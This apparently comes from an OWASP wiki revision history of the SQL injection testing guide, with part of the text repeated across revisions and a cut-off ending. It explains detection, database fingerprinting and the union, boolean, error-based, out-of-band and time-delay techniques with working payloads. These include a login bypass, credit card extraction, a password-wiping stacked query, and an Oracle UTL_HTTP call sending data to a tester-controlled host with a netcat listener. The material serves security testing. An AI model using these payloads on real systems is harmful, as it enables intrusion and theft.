To do this, we create a query that always returns false. This is possible by<br />
using the following value for ''Id'':<br />
<br />
<br />
<pre>$Id=1' AND '1' = '2 <br />
</pre><br />
<br />
by which will create the following query:<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' <br />
</pre><br />
<br />
The obtained response from the server (that is HTML<br />
code) will be the false value for our tests. This is enough to verify whether<br />
the value obtained from the execution of the inferential query is equal to the<br />
value obtained with the test executed before. Sometimes, this method does not<br />
work. If the server returns two different pages as a result of two identical<br />
consecutive web requests, we will not be able to discriminate the true value<br />
from the false value. In these particular cases, it is necessary to use<br />
particular filters that allow us to eliminate the code that changes between the<br />
two requests and to obtain a template. Later on, for every inferential request<br />
executed, we will extract the relative template from the response using the<br />
same function, and we will perform a control between the two templates in order<br />
to decide the result of the test.<br />
<br />
<br />
In the previous discussion, we haven't dealt with the<br />
problem of determining the termination condition for out tests, i.e., when we<br />
should end the inference procedure. A techniques to do<br />
this uses one characteristic of the SUBSTRING function and the LENGTH function.<br />
When the test compares the current character with the ASCII code 0 (i.e., the<br />
value null) and the test returns the value true, then either we are done with<br />
the inference procedue (we have scanned the whole<br />
string), or the value we have analyzed contains the null character.<br />
<br />
<br />
We will insert the following value for the field ''Id'':<br />
<br />
<br />
<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1 <br />
</pre><br />
<br />
Where N is the number of characters that we have<br />
analyzed up to now (not counting the null value). The query will be:<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' <br />
</pre><br />
<br />
The query returns either true or false. If we obtain<br />
true, then we have completed inference and, therefore, we know the value of the<br />
parameter. If we obtain false, this means that the null character is present in<br />
the value of the parameter, and we must continue to analyze the next parameter<br />
until we find another null value.<br />
<br />
<br />
The blind SQL injection attack needs a high volume of<br />
queries. The tester may need an automatic tool to exploit the vulnerability.<br />
<br />
<br />
=== Error based Exploitation technique ===<br />
<br />
The Error based<br />
exploitation technique is useful when the tester for some reason can’t exploit<br />
the SQL injection vulnerability using other technique such as UNION. The Error<br />
based technique consists in forcing the database to perform some operation in<br />
which the result will be an error. The point here is to try to extract some<br />
data from the database and show it in the error message. This exploitation<br />
technique can be different from DBMS to DBMS (check DBMS specific session).<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the<br />
query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
The malicious request would be (e.g. Oracle 10g):<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre><br />
<br />
<br />
In this<br />
example, the tester is concatenating the value 10 with the result of the<br />
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the<br />
hostname of the parameter passed to it, which is other query, the name of the<br />
user. When the database looks for a hostname with the user database name, it<br />
will fail and return an error message like:<br />
<br />
<br />
<pre>ORA-292257: host SCOTT unknown</pre><br />
<br />
<br />
Then the tester<br />
can manipulate the parameter passed to GET_HOST_NAME()<br />
function and the result will be shown in the error message.<br />
<br />
<br />
=== Out of band Exploitation technique ===<br />
<br />
This technique<br />
is very useful when the tester find a [[Blind SQL Injection]] situation, in<br />
which nothing is known on the outcome of an operation. The technique consists in<br />
the use of DBMS functions to perform an out of band connection and deliver the<br />
results of the injected query as part of the request to the tester’s server.<br />
<br />
<br />
Like the error<br />
based techniques, each DBMS has its own functions. Check for specific DBMS<br />
section.<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the<br />
query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
The malicious request would be:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre><br />
<br />
<br />
In this<br />
example, the tester is concatenating the value 10 with the result of the<br />
function UTL_HTTP.request. This Oracle function will<br />
try to connect to ‘testerserver’ and make a HTTP GET<br />
request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver<br />
(e.g. Apache) or use the Netcat tool:<br />
<br />
<br />
/home/tester/nc –nLp 80<br />
<br />
GET /SCOTT HTTP/1.1<br />
Host: testerserver.com<br />
Connection: close<br />
<br />
<br />
=== Time delay Exploitation technique ===<br />
<br />
The Boolean<br />
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in<br />
which nothing is known on the outcome of an operation. This technique consists<br />
in sending an injected query and in case the conditional is true, the tester<br />
can monitor the time taken to for the server to respond. If there is a delay,<br />
the tester can assume the result of the conditional query is true. This<br />
exploitation technique can be different from DBMS to DBMS (check DBMS specific<br />
session)<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the<br />
query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
The malicious request would be (e.g. MySql 5.x):<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre><br />
<br />
<br />
In this example<br />
the tester if checking whether the MySql version is<br />
5.x or not, making the server to delay the answer in 5 seconds. The tester can<br />
increase the delay’s time and monitor the responses. The tester also doesn’t<br />
need to wait for the response. Sometimes he can set a very high value (e.g.<br />
100) and cancel the request after some seconds.<br />
<br />
<br />
=== Stored Procedure Injection ===<br />
<br />
When using dynamic SQL within a stored procedure, the application must<br />
properly sanitize the user input to eliminate the risk of code injection. If<br />
not sanitized, the user could enter malicious SQL that will be executed within<br />
the stored procedure.<br />
<br />
<br />
Consider the following '''SQL Server Stored Procedure:'''<br />
<br />
<br />
Create<br />
procedure user_login @username varchar(20), @passwd varchar(20) As<br />
<br />
<br />
Declare @sqlstring varchar(250)<br />
<br />
<br />
Set @sqlstring = ‘<br />
<br />
<br />
Select 1<br />
from users<br />
<br />
<br />
Where<br />
username = ‘ + @username + ‘ and passwd<br />
= ‘ + @passwd<br />
<br />
<br />
exec(@sqlstring)<br />
Go<br />
User input:<br />
anyusername or 1=1'<br />
anypassword<br />
<br />
<br />
This procedure does not sanitize the input, therefore allowing the<br />
return value to show an existing record with these<br />
parameters.<br> <br><br />
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a<br />
user, but consider a dynamic reporting query where the user selects the columns<br />
to view. The user could insert malicious code into this scenario and compromise<br />
the data. <br><br />
Consider the following '''SQL Server Stored Procedure:'''<br />
<br />
<br />
Create<br />
procedure get_report @columnamelist varchar(7900)<br />
As<br />
Declare @sqlstring varchar(8000)<br />
Set @sqlstring = ‘<br />
Select ‘ + @columnamelist + ‘ from ReportTable‘<br />
exec(@sqlstring)<br />
Go<br />
<br />
User input:<br />
<br />
<br />
1 from<br />
users; update users set password = 'password'; select *<br />
<br />
<br />
This will result in the report running and all users’ passwords being<br />
updated.<br />
<br />
<br />
=== Automated Exploitation ===<br />
<br />
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:<br />
<br />
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap<br />
<br />
<br />
== Related Articles ==<br />
<br />
* [[Top 10 2013-A1-Injection]]<br />
* [[SQL Injection]]<br />
<br />
<br />
Technology specific Testing Guide pages have been created for the following DBMSs:<br />
<br />
* [[Testing for Oracle| Oracle]]<br />
* [[Testing for MySQL| MySQL]]<br />
* [[Testing for SQL Server | SQL Server]]<br />
<br />
== References ==<br />
<br />
'''Whitepapers'''<br><br />
<br />
* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt<br />
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf<br />
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf<br />
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf<br />
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369<br />
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/<br />
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf<br />
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf<br />
<br />
'''Tools'''<br><br />
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt<br />
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]<br />
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]<br><br />
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]<br><br />
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/<br />
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]<br />
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]<br />
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/<br />
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]<br><br />
* http://sqlsus.sourceforge.net<br />
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&diff=157893Testing for SQL Injection (OTG-INPVAL-005)2013-09-04T22:00:01Z<p>Ryan Dewhurst: OWASP Top 10 2010 link was 404 - Updated to correct OWASP 2013 link.</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
==Brief Summary ==<br />
<br />
<br />
A [[SQL injection]] attack consists of insertion or &quot;injection&quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.<br />
<br />
==Description of the Issue ==<br />
<br />
<br />
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:<br />
<br />
<pre>select title, text from news where id=$id</pre><br />
<br />
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.<br />
<br />
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.<br />
<br />
<pre>select title, text from news where id=10 or 1=1</pre><br />
<br />
SQL Injection attacks can be divided into the following three classes:<br />
<br />
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.<br />
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).<br />
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.<br />
<br />
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. <br />
<br />
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):<br />
<br />
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.<br />
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.<br />
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.<br />
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).<br />
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.<br />
<br />
==SQL Injection Detection ==<br />
<br />
<br />
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:<br />
<br />
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).<br />
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.<br />
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.<br />
<br />
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. <br />
<br />
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):<br />
<br />
<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the <br />
character string ''.<br />
/target/target.asp, line 113</pre><br />
<br />
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:<br />
<br />
<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'<br />
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the<br />
varchar value 'test' to a column of data type int.<br />
/target/target.asp, line 113<br />
</pre><br />
<br />
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.<br />
<br />
=== Standard SQL Injection Testing ===<br />
<br />
<br />
Example 1 (classical SQL Injection):<br />
<br />
Consider the following SQL query:<br />
<br />
<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre><br />
<br />
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:<br />
<br />
<pre>$username = 1' or '1' = '1</pre><br />
<br />
<pre>$password = 1' or '1' = '1</pre><br />
<br />
The query will be:<br />
<br />
<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre><br />
<br />
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:<br />
<br />
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;password=1'%20or%20'1'%20=%20'1 </pre><br />
<br />
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.<br> ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:<br />
<br />
<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre><br />
<br />
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &quot;--&quot;. This said, the values that we'll use as Username and Password are:<br />
<br />
<pre>$username = 1' or '1' = '1'))/*</pre><br />
<br />
<pre>$password = foo</pre><br />
<br />
In this way, we'll get the following query:<br />
<br />
<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre><br />
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)<br />
<br />
The URL request will be:<br />
<br />
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;password=foo </pre><br />
<br />
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go<br />
around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &quot;LIMIT &lt;num&gt;&quot;, where &lt;num&gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:<br />
<br />
<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre><br />
<br />
<pre>$password = foo </pre><br />
<br />
In this way, we create a request like the follow:<br />
<br />
<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;password=foo </pre><br />
<br />
<br />
Example 2 (simple SELECT statement):<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.<br />
<br />
<br />
Consider the request:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 AND 1=2</pre><br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre><br />
<br />
<br />
In this case, probably the application would return some message telling us there is no content available or a blank page. Then<br />
the tester can send a true statement and check if there is a valid result:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 AND 1=1</pre><br />
<br />
<br />
Example 3 (Stacked queries):<br />
<br />
<br />
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
A way to exploit the above scenario would be:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre><br />
<br />
<br />
This way is possible to execute many queries in a row and independent of the first query.<br />
<br />
<br />
=== Fingerprinting the Database ===<br />
<br />
Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.<br />
<br />
<br />
When the testers move to a more advanced SQL injection exploitation they need to know the backend.<br />
<br />
<br />
1) The first way to find out which is the backend is by observing the error returned by the application. Follow are some examples:<br />
<br />
<br />
MySql:<br />
<br />
<pre>You have an error in your SQL syntax; check the manual<br />
that corresponds to your MySQL server version for the<br />
right syntax to use near '\'' at line 1</pre><br />
<br />
<br />
Oracle:<br />
<br />
<pre>ORA-00933: SQL command not properly ended</pre><br />
<br />
<br />
MS SQL Server:<br />
<br />
<pre>Microsoft SQL Native Client error ‘80040e14’<br />
Unclosed quotation mark after the character string</pre><br />
<br />
<br />
PostgreSQL:<br />
<br />
<pre>Query failed: ERROR: syntax error at or near<br />
&quot;’&quot; at character 56 in /www/site/test.php on line 121.</pre><br />
<br />
<br />
2) If there is no error message or a custom error message,<br />
the tester can try to inject into string field using concatenation technique:<br />
<br />
<br />
MySql: ‘test’ + ‘ing’<br />
<br />
SQL Server: ‘test’ ‘ing’<br />
<br />
Oracle: ‘test’||’ing’<br />
<br />
PostgreSQL: ‘test’||’ing’<br />
<br />
==Exploitation techniques ==<br />
<br />
=== Union Exploitation technique ===<br />
<br />
The UNION operator is used<br />
in SQL injections to join a query, purposely forged by the tester, to the<br />
original query. The result of the forged query will be joined to the result of<br />
the original query, allowing the tester to obtain the values of fields of other<br />
tables. We suppose for our examples that the query executed from the server is<br />
the following:<br />
<br />
<br />
SELECT<br />
Name, Phone, Address FROM Users WHERE Id=$id<br />
<br />
<br />
We will set the following<br />
Id value:<br />
<br />
<br />
$id=1<br />
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable<br />
<br />
<br />
We will have the following<br />
query:<br />
<br />
<br />
SELECT<br />
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable<br />
<br />
<br />
which will join the result of the original query<br />
with all the credit card users. The keyword '''ALL''' is necessary to get<br />
around queries that use the keyword DISTINCT. Moreover, we notice that beyond<br />
the credit card numbers, we have selected other two values. These two values<br />
are necessary, because the two query must have an<br />
equal number of parameters, in order to avoid a syntax error.<br />
<br />
<br />
The first<br />
information the tester need to exploit the SQL injection vulnerability using<br />
such technique is to find the right numbers of columns in the SELECT statement.<br />
<br />
<br />
In order to<br />
achieve it the tester can use ORDER BY clause followed by a number indicating<br />
the numeration of database’s column selected:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre><br />
<br />
<br />
If the query executes with success the tester will see<br />
the tester can assume, in this example, there are 10 or more columns in the<br />
SELECT statement. If the query fails and there is an error message available<br />
probably it would be:<br />
<br />
<br />
<pre>Unknown column '10' in 'order clause'</pre><br />
<br />
<br />
After the tester find out the numbers of columns, the<br />
next step is to find out the type of columns. Assuming there were 3 columns in<br />
the example above, the tester could try each column type, using the NULL value<br />
to help them:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre><br />
<br />
<br />
If the query fails, probably the tester will see a<br />
message like:<br />
<br />
<pre>All cells in a column must have the same datatype</pre><br />
<br />
If the query executes with success, the first column<br />
can be an integer. Then the tester can move further and so on:<br />
<br />
<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre><br />
<br />
After the success exploitation, depending on the<br />
application, it will show to the tester only the first result, because the<br />
application treats only the first line of the result. In this case, it is<br />
possible to use LIMIT like clause or the tester can set an invalid value,<br />
making only the second line valid (supposing there is no entry in the database<br />
which ID is 99999):<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre><br />
<br />
<br />
=== Boolean Exploitation technique ===<br />
<br />
The Boolean exploitation technique is very useful when<br />
the tester find a [[Blind SQL Injection]] situation, in<br />
which nothing is known on the outcome of an operation. For example, this<br />
behavior happens in cases where the programmer has created a custom error page<br />
that does not reveal anything on the structure of the query or on the database.<br />
(The page does not return a SQL error, it may just<br />
return a HTTP 500). <br><br />
By using the inference methods, it is possible to avoid this obstacle and thus<br />
to succeed to recover the values of some desired fields. This method consists<br />
of carrying out a series of boolean<br />
queries to the server, observing the answers and finally deducing the meaning<br />
of such answers. We consider, as always, the www.example.com domain and we<br />
suppose that it contains a parameter named id vulnerable to SQL injection. This<br />
means that carrying out the following request:<br />
<br />
<br />
<pre>http://www.example.com/index.php?id=1'</pre><br />
<br />
we will get one page with a custom message error which<br />
is due to a syntactic error in the query. We suppose that the query executed on<br />
the server is:<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id' <br />
</pre><br />
<br />
which is exploitable through the methods seen previously.<br />
What we want to obtain is the values of the username field. The tests that we<br />
will execute will allow us to obtain the value of the username field,<br />
extracting such value character by character. This is possible through the use<br />
of some standard functions, present practically in every database. For our<br />
examples, we will use the following pseudo-functions:<br />
<br />
<br />
'''SUBSTRING (text, start, length)''': it returns a<br />
substring starting from the position &quot;start&quot; of text and of length<br />
&quot;length&quot;. If &quot;start&quot; is greater than the length of text,<br />
the function returns a null value.<br />
<br />
<br />
'''ASCII (char)''': it gives back ASCII value of the input character. A<br />
null value is returned if char is 0.<br />
<br />
<br />
'''LENGTH (text)''': it gives back the length in characters of the input<br />
text.<br />
<br />
<br />
Through such functions, we will execute our tests on<br />
the first character and, when we have discovered the value, we will pass to the<br />
second and so on, until we will have discovered the entire value. The tests<br />
will take advantage of the function SUBSTRING, in order to select only one<br />
character at a time (selecting a single character means to impose the length<br />
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so<br />
that we can do numerical comparison. The results of the comparison will be done<br />
with all the values of the ASCII table, until the right value is found. As an<br />
example, we will use the following value for ''Id'':<br />
<br />
<br />
<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 <br />
</pre><br />
<br />
that creates the following query (from now on, we will<br />
call it &quot;inferential query&quot;):<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'<br />
</pre><br />
<br />
The previous example returns a result if and only if<br />
the first character of the field username is equal to the ASCII value 97. If we<br />
get a false value, then we increase the index of the ASCII table from 97 to 98<br />
and we repeat the request. If instead we obtain a true value, we set to zero<br />
the index of the ASCII table and we analyze the next character, modifying the<br />
parameters of the SUBSTRING function. The problem is to understand in which way<br />
we can distinguish tests returning a true value from those that return false.<br />
To do this, we create a query that always returns false. This is possible by<br />
using the following value for ''Id'':<br />
<br />
<br />
<pre>$Id=1' AND '1' = '2 <br />
</pre><br />
<br />
by which will create the following query:<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' <br />
</pre><br />
<br />
The obtained response from the server (that is HTML<br />
code) will be the false value for our tests. This is enough to verify whether<br />
the value obtained from the execution of the inferential query is equal to the<br />
value obtained with the test executed before. Sometimes, this method does not<br />
work. If the server returns two different pages as a result of two identical<br />
consecutive web requests, we will not be able to discriminate the true value<br />
from the false value. In these particular cases, it is necessary to use<br />
particular filters that allow us to eliminate the code that changes between the<br />
two requests and to obtain a template. Later on, for every inferential request<br />
executed, we will extract the relative template from the response using the<br />
same function, and we will perform a control between the two templates in order<br />
to decide the result of the test.<br />
<br />
<br />
In the previous discussion, we haven't dealt with the<br />
problem of determining the termination condition for out tests, i.e., when we<br />
should end the inference procedure. A techniques to do<br />
this uses one characteristic of the SUBSTRING function and the LENGTH function.<br />
When the test compares the current character with the ASCII code 0 (i.e., the<br />
value null) and the test returns the value true, then either we are done with<br />
the inference procedue (we have scanned the whole<br />
string), or the value we have analyzed contains the null character.<br />
<br />
<br />
We will insert the following value for the field ''Id'':<br />
<br />
<br />
<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1 <br />
</pre><br />
<br />
Where N is the number of characters that we have<br />
analyzed up to now (not counting the null value). The query will be:<br />
<br />
<br />
<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' <br />
</pre><br />
<br />
The query returns either true or false. If we obtain<br />
true, then we have completed inference and, therefore, we know the value of the<br />
parameter. If we obtain false, this means that the null character is present in<br />
the value of the parameter, and we must continue to analyze the next parameter<br />
until we find another null value.<br />
<br />
<br />
The blind SQL injection attack needs a high volume of<br />
queries. The tester may need an automatic tool to exploit the vulnerability.<br />
<br />
<br />
=== Error based Exploitation technique ===<br />
<br />
The Error based<br />
exploitation technique is useful when the tester for some reason can’t exploit<br />
the SQL injection vulnerability using other technique such as UNION. The Error<br />
based technique consists in forcing the database to perform some operation in<br />
which the result will be an error. The point here is to try to extract some<br />
data from the database and show it in the error message. This exploitation<br />
technique can be different from DBMS to DBMS (check DBMS specific session).<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the<br />
query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
The malicious request would be (e.g. Oracle 10g):<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre><br />
<br />
<br />
In this<br />
example, the tester is concatenating the value 10 with the result of the<br />
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the<br />
hostname of the parameter passed to it, which is other query, the name of the<br />
user. When the database looks for a hostname with the user database name, it<br />
will fail and return an error message like:<br />
<br />
<br />
<pre>ORA-292257: host SCOTT unknown</pre><br />
<br />
<br />
Then the tester<br />
can manipulate the parameter passed to GET_HOST_NAME()<br />
function and the result will be shown in the error message.<br />
<br />
<br />
=== Out of band Exploitation technique ===<br />
<br />
This technique<br />
is very useful when the tester find a [[Blind SQL Injection]] situation, in<br />
which nothing is known on the outcome of an operation. The technique consists in<br />
the use of DBMS functions to perform an out of band connection and deliver the<br />
results of the injected query as part of the request to the tester’s server.<br />
<br />
<br />
Like the error<br />
based techniques, each DBMS has its own functions. Check for specific DBMS<br />
section.<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the<br />
query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
The malicious request would be:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre><br />
<br />
<br />
In this<br />
example, the tester is concatenating the value 10 with the result of the<br />
function UTL_HTTP.request. This Oracle function will<br />
try to connect to ‘testerserver’ and make a HTTP GET<br />
